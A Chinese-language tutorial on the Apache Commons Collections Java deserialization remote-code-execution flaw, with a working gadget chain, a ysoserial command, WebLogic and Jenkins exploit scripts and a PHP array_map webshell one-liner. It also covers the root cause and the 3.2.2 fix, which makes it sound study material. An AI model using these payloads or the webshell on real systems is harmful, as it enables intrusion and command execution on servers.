JAVA 序列化

Java unserialize serialized Object(AnnotationInvocationHandler、ysoserial) In readObject() LeadTo TransformedMap Change LeadTo InvokerTransformer(Evil MethodName/Args)

catalog

1. Java 序列化
2. Commons Collections
3. Java反序列化漏洞 
4. 漏洞利用實例
5. 修復策略
6. 安全問題延伸討論

 

1. Java 序列化

1. Java 提供了一種對象序列化的機制,該機制中,一個對象可以被表示爲一個字節序列,該字節序列包括該對象的數據、有關對象的類型的信息和存儲在對象中數據的類型 
2. 將序列化對象寫入文件之後,可以從文件中讀取出來,並且對它進行反序列化,也就是說,對象的類型信息、對象的數據,還有對象中的數據類型可以用來在內存中新建對象 
3. 整個過程都是Java虛擬機(JVM)獨立的,也就是說,在一個平臺上序列化的對象可以在另一個完全不同的平臺上反序列化該對象 
4. 類ObjectInputStream 和ObjectOutputStream是高層次的數據流,它們包含序列化和反序列化對象的方法 

0x1: 可序列化對象

定義瞭如下的Employee類,該類實現了Serializable 接口

 

package test;

public class Employee implements java.io.Serializable
{ 
    private static final long serialVersionUID = 1L;

    public String name;
    public String address;
    public transient int SSN;
    public int number;
   
    public void mailCheck()
    {
        System.out.println("Mailing a check to " + name + " " + address);
    }
}

 

需要明白的是,一個類的對象要想序列化成功,必須滿足以下幾個條件

1. 該類必須實現 java.io.Serializable 對象 
2. 該類的所有屬性必須是可序列化的。如果有一個屬性不是可序列化的,則該屬性必須註明是短暫的(僅存在於內存中)
//如果想知道一個Java標準類是否是可序列化的,請查看該類的文檔。檢驗一個類的實例是否能序列化十分簡單, 只需要查看該類有沒有實現java.io.Serializable接口 

0x2: 序列化對象代碼示例

ObjectOutputStream 類用來序列化一個對象,如下的SerializeDemo例子實例化了一個Employee對象,並將該對象序列化到一個文件中,該程序執行後,就創建了 一個名爲employee.ser文件,值得注意的是,當序列化一個對象到文件時, 按照Java的標準約定是給文件一個.ser擴展名

package test;

import java.io.*;

public class SerializeDemo 
{ 
    public static void main(String[] args) 
    {
        Employee e = new Employee();
        e.name = "LittleHann";
        e.address = "Hangzhou";
        e.SSN = 23333;
        e.number = 101;
        try
        {
            String savePath = "C:/employee.ser";
            FileOutputStream fileOut = new FileOutputStream(savePath);
            ObjectOutputStream out = new ObjectOutputStream(fileOut);
            out.writeObject(e);
            out.close();
            fileOut.close();
            System.out.printf("Serialized data is saved in " + savePath);
        }
        catch(IOException i)
        {
            i.printStackTrace();
        }
    }

}

 

0x3: 反序列化對象代碼示例

package test;

import java.io.*;

public class DeserializeDemo 
{ 
    public static void main(String[] args) 
    { 
        Employee e = null;
        try
        {
            String savePath = "C:/employee.ser";
            FileInputStream fileIn = new FileInputStream(savePath);
            ObjectInputStream in = new ObjectInputStream(fileIn);
            e = (Employee) in.readObject();
            in.close();
            fileIn.close();
        }
        catch(ClassNotFoundException c)
        {
            System.out.println("Employee class not found");
            c.printStackTrace();
            return;
        }
        catch(IOException i)
        {
            i.printStackTrace();
            return;
        }
        
        System.out.println("Deserialized Employee...");
        System.out.println("Name: " + e.name);
        System.out.println("Address: " + e.address);
        System.out.println("SSN: " + e.SSN);
        System.out.println("Number: " + e.number);
    } 
}

 

這裏要注意以下要點

1. readObject() 方法中的try/catch代碼塊嘗試捕獲 ClassNotFoundException異常。對於JVM可以反序列化對象,它必須是能夠找到字節碼的類。如果JVM在反序列化對象的過程中找不到該類,則拋出一個 ClassNotFoundException異常 
2. readObject()方法的返回值被轉化成Employee引用。
3. 當對象被序列化時,屬性SSN的值爲111222333,但是因爲該屬性是短暫的,該值沒有被髮送到輸出流。所以反序列化後Employee對象的SSN屬性爲0

Relevant Link:

http://www.runoob.com/java/java-serialization.html
https://www.ibm.com/developerworks/cn/java/j-lo-serial/

 

2. Commons Collections

The Java Collections Framework was a major addition in JDK 1.2. It added many powerful data structures that accelerate development of most significant Java applications. Since that time it has become the recognised standard for collection handling in Java.
Commons-Collections seek to build upon the JDK classes by providing new interfaces, implementations and utilities. There are many features, including:

1. Bag interface for collections that have a number of copies of each object
2. BidiMap interface for maps that can be looked up from value to key as well and key to value
3. MapIterator interface to provide simple and quick iteration over maps
4. Transforming decorators that alter each object as it is added to the collection
5. Composite collections that make multiple collections look like one
6. Ordered maps and sets that retain the order elements are added in, including an LRU based map
7. Reference map that allows keys and/or values to be garbage collected under close control
8. Many comparator implementations
9. Many iterator implementations
10. Adapter classes from array and enumerations to collections
11. Utilities to test or create typical set-theory properties of collections such as union, intersection, and closure

從本質上說,Apache Commons Collections是一個Java基礎容器的封裝類,它提供了很多強大有用的接口,同時也包括有數據類型轉換函數,這次的漏洞就處在這些轉換函數上,由於在轉換前沒有對輸入的參數進行類型檢查,導致惡意代碼注入

Relevant Link:

http://www.blogjava.net/heis/archive/2010/01/12/309239.html
https://commons.apache.org/proper/commons-collections/
https://commons.apache.org/proper/commons-collections/download_collections.cgi

 

3. Java反序列化漏洞

0x1: 背景

2015年11月6日,FoxGlove Security安全團隊的@breenmachine 發佈的一篇博客[3]中介紹瞭如何利用Java反序列化漏洞,來攻擊最新版的WebLogic、WebSphere、JBoss、Jenkins、 OpenNMS這些大名鼎鼎的Java應用,實現遠程代碼執行。
然而事實上,博客作者並不是漏洞發現者。博客中提到,早在2015年的1月28 號,Gabriel Lawrence (@gebl)和Chris Frohoff (@frohoff)在AppSecCali上給出了一個報告[5],報告中介紹了Java反序列化漏洞可以利用Apache Commons Collections這個常用的Java庫來實現任意代碼執行,當時並沒有引起太大的關注,但是在博主看來,這是2015年最被低估的漏洞。
確 實,Apache Commons Collections這樣的基礎庫非常多的Java應用都在用,一旦編程人員誤用了反序列化這一機制,使得用戶輸入可以直接被反序列化,就能導致任意代 碼執行,這是一個極其嚴重的問題,博客中提到的WebLogic等存在此問題的應用可能只是冰山一角

0x2: 漏洞成因

序列化就是把對象轉換成字節流,便於保存在內存、文件、數據庫中;反序列化即逆過程,由字節流還原成對象。Java中的 ObjectOutputStream類的writeObject()方法可以實現序列化,類ObjectInputStream類的 readObject()方法用於反序列化。下面是將字符串對象先進行序列化,存儲到本地文件,然後再通過反序列化進行恢復的樣例代碼

public static void main(String args[]) throws Exception { 
    String obj = "hello world!";

    // 將序列化對象寫入文件object.db中
    FileOutputStream fos = new FileOutputStream("object.db");
    ObjectOutputStream os = new ObjectOutputStream(fos);
    os.writeObject(obj);
    os.close();

    // 從文件object.db中讀取數據
    FileInputStream fis = new FileInputStream("object.db");
    ObjectInputStream ois = new ObjectInputStream(fis);

    // 通過反序列化恢復對象obj
    String obj2 = (String)ois.readObject();
    ois.close();
}

問題在於,如果Java應用對用戶輸入,即不可信數據做了反序列化處理,那麼攻擊者可以通過構造惡意輸入,讓反序列化產生非預期的對象,非預期的對象在產生過程中就有可能帶來任意代碼執行
所以這個問題的根源在於類ObjectInputStream在反序列化時,沒有對生成的對象的類型做限制;假若反序列化可以設置Java類型的白名單,那麼問題的影響就小了很多。
反 序列化問題由來已久,且並非Java語言特有,在其他語言例如PHP和Python中也有相似的問題。@gebl和@frohoff的報告中所指出的並不 是反序列化這個問題,而是一些公用庫,例如Apache Commons Collections中實現的一些類可以被反序列化用來實現任意代碼執行。WebLogic、WebSphere、JBoss、Jenkins、 OpenNMS這些應用的反序列化漏洞能夠得以利用,就是依靠了Apache Commons Collections。這種庫的存在極大地提升了反序列化問題的嚴重程度
0x3: 利用Apache Commons Collections實現遠程代碼執行

以Apache Commons Collections 3爲例,來解釋如何構造對象,能夠讓程序在反序列化,即調用readObject()時,就能直接實現任意代碼執行
Map 類是存儲鍵值對的數據結構,Apache Commons Collections中實現了類TransformedMap,用來對Map進行某種變換,只要調用decorate()函數,傳入key和value 的變換函數Transformer,即可從任意Map對象生成相應的TransformedMap,完成這一操作的decorate()函數如下

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) 
{
    //decorate是我們人工構造的,目的是從任意Map對象生成相應的TransformedMap
    return new TransformedMap(map, keyTransformer, valueTransformer);
}

Transformer是一個接口,其中定義的transform()函數用來將一個對象轉換成另一個對象。如下所示
\commons-collections4-4.0-src\src\main\java\org\apache\commons\collections4\Transformer.java

public interface Transformer<I, O> {

    /**
     * Transforms the input object (leaving it unchanged) into some output object.
     *
     * @param input  the object to be transformed, should be left unchanged
     * @return a transformed object
     * @throws ClassCastException (runtime) if the input is the wrong class
     * @throws IllegalArgumentException (runtime) if the input is invalid
     * @throws FunctorException (runtime) if the transform cannot be completed
     */
    O transform(I input);

}

當Map中的任意項的Key或者Value被修改,相應的Transformer就會被調用。除此以外,多個Transformer還能串起來,形成ChainedTransformer
Apache Commons Collections中已經實現了一些常見的Transformer,其中有一個可以通過調用Java的反射機制來調用任意函數,叫做InvokerTransformer,代碼如下
\commons-collections4-4.0-src\src\main\java\org\apache\commons\collections4\functors\InvokerTransformer.java

public class InvokerTransformer<I, O> implements Transformer<I, O>, Serializable 
{
    ..
    public InvokerTransformer(final String methodName, final Class<?>[] paramTypes, final Object[] args) 
    {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes != null ? paramTypes.clone() : null;
        iArgs = args != null ? args.clone() : null;
    }
    
    ..

    /**
    * Transforms the input to result by invoking a method on the input.
    *
    * @param input  the input object to transform
    * @return the transformed result, null if null input
    */
    @SuppressWarnings("unchecked")
    public O transform(final Object input) 
    {
        if (input == null) 
        {
            return null;
        }
        try 
        {
            final Class<?> cls = input.getClass();
            final Method method = cls.getMethod(iMethodName, iParamTypes);
            return (O) method.invoke(input, iArgs);
        } 
        catch (final NoSuchMethodException ex) 
        {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } 
        catch (final IllegalAccessException ex) 
        {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } 
        catch (final InvocationTargetException ex) 
        {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    } 
}

從代碼中可以看到,只需要傳入方法名、參數類型和參數,即可調用任意函數。因此要想任意代碼執行,我們可以首先構造一個Map和一個能夠執行代碼的 ChainedTransformer,以此生成一個TransformedMap,然後想辦法去觸發Map中的MapEntry產生修改(例如 setValue()函數),即可觸發我們構造的Transformer

package test;

import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
  
public class transformersTest 
{ 
    public static void main(String[] args) 
    {
        Transformer[] transformers = new Transformer[] 
        {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] 
                {
                    String.class, Class[].class
                }, 
                new Object[]{"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] 
                {
                    Object.class, Object[].class 
                }, 
                new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, 
                new Object[] {"calc.exe"})
        }; 
        Transformer transformedChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain);

        Map.Entry onlyElement = (Entry) outerMap.entrySet().iterator().next();
        onlyElement.setValue("foobar"); 
    } 
}

當上面的代碼運行到setValue()時,就會觸發ChainedTransformer中的一系列變換函數:首先通過 ConstantTransformer獲得Runtime類,進一步通過反射調用getMethod找到invoke函數,最後再運行命令 calc.exe
但是目前的構造還需要依賴於觸發Map中某一項去調用setValue(),我們需要想辦法通過readObject()直接觸發
我們觀察到java運行庫中有這樣一個類AnnotationInvocationHandler,這個類有一個成員變量memberValues是Map類型,如下所示
\openjdk\jdk\src\share\classes\sun\reflect\annotation\AnnotationInvocationHandler.java

class AnnotationInvocationHandler implements InvocationHandler, Serializable 
{
    private final Class<? extends Annotation> type;
    private final Map<String, Object> memberValues;

    AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) 
    {
        this.type = type;
        this.memberValues = memberValues;
    }

    .. 
    //AnnotationInvocationHandler的readObject()函數中對memberValues的每一項調用了setValue()函數
    private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException 
    {
        s.defaultReadObject(); 

        // Check to make sure that types have not evolved incompatibly  
        AnnotationType annotationType = null;
        try 
        {
            annotationType = AnnotationType.getInstance(type);
        } 
        catch(IllegalArgumentException e) 
        {
            // Class is no longer an annotation type; all bets are off
            return;
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) 
        {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) 
            {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) 
                {
                    memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name)));
                }
            }
        }
    }
}

因此,我們只需要使用前面構造的Map來構造AnnotationInvocationHandler,進行序列化,當觸發 readObject()反序列化的時候,就能實現命令執行。另外需要注意的是,想要在調用未包含的package中的構造函數,我們必須通過反射的方 式,綜合生成任意代碼執行的payload的代碼如下

package test;

import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class readObjectRCE 
{ 
    public static void main(String[] args) throws FileNotFoundException, IOException, ClassNotFoundException, NoSuchMethodException, SecurityException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException 
    {
        Transformer[] transformers = new Transformer[] 
        {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] 
                {
                    String.class, Class[].class
                }, 
                new Object[]{"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] 
                {
                    Object.class, Object[].class 
                }, 
                new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, 
                new Object[] {"calc.exe"})
        }; 
        Transformer transformedChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain);

        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Target.class, outerMap);

        File f = new File("payload.bin");
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
        out.writeObject(instance);
        out.flush();
        out.close();
        
        //read object
        try
        {
            String savePath = "payload.bin";
            FileInputStream fileIn = new FileInputStream(savePath);
            ObjectInputStream in = new ObjectInputStream(fileIn);
            //不管反序列化成任何的對象,只要調用到readObject()就已經觸發漏洞了
            Object obj = (Object) in.readObject();
            in.close();
            fileIn.close();
        }
        catch(ClassNotFoundException c)
        {
            System.out.println("Employee class not found");
            c.printStackTrace();
            return;
        }
        catch(IOException i)
        {
            i.printStackTrace();
            return;
        }
    } 
}

 

以上解釋瞭如何通過Apache Commons Collections 3這個庫中的代碼,來構造序列化對象,使得程序在反序列化時可以立即實現任意代碼執行,值得注意的是,POC之所以是通用的原因在於,只要目標系統中使用 了Apache Commons Collections 3存在漏洞的代碼庫,並且調用了readObject(),不管具體的使用場景是怎麼樣的(即不管反序列化後強制轉換爲任何的對象),在 readObject()被調用的時候攻擊就已經成立了
我們可以直接使用工具ysoserial來生成payload,當中包含了4種通用的 payload:Apache Commons Collections 3和4,Groovy,Spring,只要目標應用的Class Path中包含這些庫,ysoserial生成的payload即可讓readObject()實現任意命令執行。
ysoserial當中針對 Apache Commons Collections 3的payload也是基於TransformedMap和InvokerTransformer來構造的,而在觸發時,並沒有採用上文介紹的 AnnotationInvocationHandler,而是使用了java.lang.reflect.Proxy中的相關代碼來實現觸發

Relevant Link:

http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/ 
https://github.com/andreyvit/yoursway-ide/blob/master/org.apache.commons.collections/src/java/org/apache/commons/collections/map/TransformedMap.java
https://github.com/foxglovesec/JavaUnserializeExploits
https://frohoff.github.io/appseccali-marshalling-pickles/

 

4. 漏洞利用實例

0x1: 利用過程

1. 首先拿到一個Java應用,需要找到一個接受外部輸入的序列化對象的接收點,即反序列化漏洞的觸發點
    1) 我們可以通過審計源碼中對反序列化函數的調用(例如readObject())來尋找
    2) 也可以直接通過對應用交互流量進行抓包,查看流量中是否包含java序列化數據來判斷,java序列化數據的特徵爲以標記(ac ed 00 05)開頭

2. 確定了反序列化輸入點後,再考察應用的Class Path中是否包含Apache Commons Collections庫(ysoserial所支持的其他庫亦可),如果是,就可以使用ysoserial來生成反序列化的payload,指定庫名和想要執行的命令即可 

3. java -jar ysoserial-0.0.2-SNAPSHOT-all.jar CommonsCollections1 'id >> /tmp/redrain' > payload.out
通過先前找到的傳入對象方式進行對象注入,數據中載入payload,觸發受影響應用中ObjectInputStream的反序列化操作,隨後通過反射調用Runtime.getRunTime.exec即可完成利用 

0x2: WebLogic

對安裝包文件grep受影響的類InvokerTransformer

grep -R InvokerTransformer ./
Binary file ./oracle_common/modules/com.bea.core.apache.commons.collections.jar matches

接着通過尋找接收外部輸入的點,來讓我們發送序列化對象。
WebLogic外部只開了一個7001端口,這個端口接受 HTTP,T3,SNMP協議,判斷協議類型後再把數據路由到內部正確的位置,通過在server上抓包,發現走T3協議時攜帶了java序列化對象,所 以用把這個包文從序列化開始的標記(ac ed 00 05)後加入payload,重放這個數據,完成利用
以下是breenmachine的完整利用腳本

複製代碼

#!/usr/bin/python
import socket
import sys

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

server_address = (sys.argv[1], int(sys.argv[2]))
print 'connecting to %s port %s' % server_address
sock.connect(server_address)

# Send headers
headers='t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'
print 'sending "%s"' % headers
sock.sendall(headers)

data = sock.recv(1024)
print >>sys.stderr, 'received "%s"' % data

payloadObj = open(sys.argv[3],'rb').read()

payload=''
print 'sending payload...'
'''outf = open('payload.tmp','w')
outf.write(payload)
outf.close()'''
sock.send(payload)

0x3: Jenkins

Jenkins是一個非常流行的CI工具,在很多企業的內網中都部署了這個系統,這個系統常常和企業的代碼相關聯,這次也受到了Java反序列化漏洞的影響,非常危險
同樣,通過grep受影響的類InvokerTransformer

grep -R "InvokerTransformer"  ./
Binary file ./webapps/ROOT/WEB-INF/lib/commons-collections-3.2.1.jar matches

在開放的端口上抓包,定位到Jeenkins的CLI包文中的序列化開始標記(rO0)。 在發送CLI的第一個包文後
以下是@breenmachine的完整利用腳本

#!/usr/bin/python

#usage: ./jenkins.py host port /path/to/payload
import socket
import sys
import requests
import base64

host = sys.argv[1]
port = sys.argv[2]

#Query Jenkins over HTTP to find what port the CLI listener is on
r = requests.get('http://'+host+':'+port)
cli_port = int(r.headers['X-Jenkins-CLI-Port'])

#Open a socket to the CLI port
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (host, cli_port)
print 'connecting to %s port %s' % server_address
sock.connect(server_address)

# Send headers
headers='\x00\x14\x50\x72\x6f\x74\x6f\x63\x6f\x6c\x3a\x43\x4c\x49\x2d\x63\x6f\x6e\x6e\x65\x63\x74'
print 'sending "%s"' % headers
sock.send(headers)

data = sock.recv(1024)
print >>sys.stderr, 'received "%s"' % data

data = sock.recv(1024)
print >>sys.stderr, 'received "%s"' % data

payloadObj = open(sys.argv[3],'rb').read()
payload_b64 = base64.b64encode(payloadObj)
payload=''

print 'sending payload...'
'''outf = open('payload.tmp','w')
outf.write(payload)
outf.close()'''
sock.send(payload)

0x4: Jboss

boss受影響的情況就比之前Jenkins遜色不少,正如之前所說,要成功利用必須要找到程序接受外部輸入的點,而此處的利用需要/invoker/jmx的支持,大部分情況下的實際場景,jboss都刪除了jmx,所以讓此處的利用大打折扣

0x5: WebSphere

WebSphere的利用相比較之前幾個case就非常粗暴簡單了,但是很少會暴露在公網
找到受影響的lib的位置

find . -iname "*commons*collection*"
./WebSphere/AppServer/optionalLibraries/Apache/Struts/1.1/commons-collections.jar
./WebSphere/AppServer/optionalLibraries/Apache/Struts/1.2.4/commons-collections.jar
./WebSphere/AppServer/plugins/com.ibm.ws.prereq.commons-collections.jar
./WebSphere/AppServer/systemApps/LongRunningScheduler.ear/JobManagementWeb.war/WEB-INF/lib/commons-collections.jar
./WebSphere/AppServer/systemApps/isclite.ear/commons-collections.jar
./WebSphere/AppServer/deploytool/itp/plugins/com.ibm.websphere.v85_2.0.0.v20120621_2102/wasJars/com.ibm.ws.prereq.commons-collections.jar

查看端口開放情況後發現WebSphere默認起了10個端口監聽所有接口,通過burp suite看到在請求websphere默認端口8880上有一個POST的請求,body中帶有base64處理後的java序列化對象,同樣的,標記 位置仍然是"rO0",我們將生成的payload做base64處理後覆蓋之前的序列化對象即可利用

Relevant Link:

https://www.sebug.net/vuldb/ssvid-89723
http://blog.chaitin.com/2015-11-11_java_unserialize_rce/

 

5. 修復策略

commons-collections-3.2.2默認關閉了InvokerTransformer功能

Exception in thread "main" java.lang.UnsupportedOperationException: Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons. To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true', but you must ensure that your application does not de-serialize objects from untrusted sources.

 

6. 安全問題延伸討論

這個安全問題的根源在於

1. ObjectInputStream處理反序列化時接受外部輸入,同時未對外部輸入進行類型檢查
2. 攻擊者在外部序列化參數中傳入特殊構造的sun.reflect.annotation.AnnotationInvocationHandler、或者java.lang.reflect.Proxy
3. 在這2個對象的readObject()方法中,都包含setValue()的調用
4. 而在Apache Commons Collections中,setValue()的調用會導致InvokerTransformer()的被調用,InvokerTransformer()會根據外部輸入類名函數名反射執行的作用,所以造成整個程序RCE

所以該問題並不是像其他一些語言unserialize函數本身存在漏洞,而是在應用本身實現的方式上存在缺陷,導致應用受到RCE的影響,或者更準確地說是Apache Commons Collections把執行任意回調(任意參數)的能力開放給了外部參數

0x1: PHP unserialize風險

從程序語言角度來說,PHP和Java一樣,只能對當前內存代碼空間中存在的對象進行序列化/反序列化,並能不能根據外部傳入參數進行任意的反序列化
唯一可以存在一點可探討的相關性的是,unserialize反序列化後默認調用的構造函數

http://www.cnblogs.com/LittleHann/p/3522990.html
搜索:0x22: PHP的序列化、反序列化特性佈置後門 

0x2: PHP array_map: 回調函數風險

array_map,將回調函數作用到給定數組的單元上,PHP中還有很多類似功能的callback函數,如果系統採取了錯誤的方式使用array_map,將外部參數直接帶入到array_map中,就同樣可能造成任意代碼執行RCE

<?php 
    $new_array = array_map("ass\x65rt", (array)$_REQUEST['op']);
    //http://localhost/test/test.php?op=eval($_GET[1]): 菜刀密碼: 1
?>

Relevant Link:

http://www.cnblogs.com/LittleHann/p/4242535.html
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章